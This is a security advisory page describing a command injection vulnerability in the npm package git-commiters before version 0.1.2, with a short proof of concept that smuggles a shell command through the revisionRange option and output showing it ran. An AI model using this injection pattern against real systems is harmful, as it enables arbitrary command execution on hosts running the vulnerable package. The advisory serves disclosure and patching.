High

`git-comiters` Command Injection vulnerability

  • Disclosed: 22.09.2025
  • Updated: 11.10.2026 10:22

Background on the vulnerability

This vulnerability manifests with the library's primary exported API: gitCommiters(options, callback) which allows specifying options such as cwd for current working directory and revisionRange as a revision pointer, such as HEAD.

However, the library does not sanitize for user input or practice secure process execution API to separate commands from their arguments and as such, uncontrolled user input is concatenated into command execution.

Exploit

  1. Install git-commiters@0.1.1 or earlier
  2. Initiaizlie a new Git directory with commits in it
  3. Create the following script in that directory:
js
var gitCommiters = require("git-commiters");

var options = {
  cwd: "./",
  revisionRange: "HEAD; touch /tmp/pwn; #",
};
gitCommiters(options, function (err, result) {
  if (err) console.log(err);
  else console.log(result);
});
  1. Observe new file created on disk at /tmp/pwn

The git commiters functionality works as expected, too, despite the command execution, which further hinders the problem as it may not be apparent that a command injection occured on a running application.

bash
@lirantal ➜ /workspaces/git-commiters.js (master) $ node app.js
[
  {
    email: 'github@qslw.com',
    name: 'Morton Fox',
    deletions: 1,
    insertions: 1,
    commits: 1
  },
  {
    email: 'snowyu.lee@gmail.com',
    name: 'Riceball LEE',
    deletions: 11,
    insertions: 1198,
    commits: 7
  }
]

@lirantal ➜ /workspaces/git-commiters.js (master) $ ls -alh /tmp/pwn
-rw-r--rw- 1 codespace codespace 0 Jul  1 06:09 /tmp/pwn

Credit

Liran Tal

Affected software

Click a technology to see all vulnerabilities affecting it.

PlatformPackageVulnerable versionsFixed in
npm package git-commiters < 0.1.2 0.1.2

References

CVSS score 8.8/10
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Weakness (CWE)
CWE-77, CWE-78
Platform
npm
Package
git-commiters
Disclosed
22.09.2025
Updated
11.10.2026 10:22

Sources and licenses

OSV / GitHub Advisory Database - GHSA-g38c-wxjf-xrh6 - CC BY 4.0

Vulnerability history: git-commiters

All published vulnerabilities of this package (npm package), newest first. Shows whether this is a one-off slip or a package that needs watching.

This is the only known vulnerability of this package.

Know which vulnerabilities affect your application

With the DockRay integration and software inventory enabled, DockRay checks reported component versions against known vulnerabilities and notifies you about confirmed matches. Coverage depends on the supported technology and available advisory data.

Connect your application
DockRay newsletter

Application security in your inbox

Important vulnerabilities, actionable guidance and practical advice for your applications. Choose your technologies and follow what matters to your project.

  • A daily digest of new vulnerabilities, critical ones included.
  • Notifications about important updates.
  • Practical advice on application security and monitoring.

Leave empty to receive updates for every technology.

Free to subscribe. Unsubscribe with one click in any email.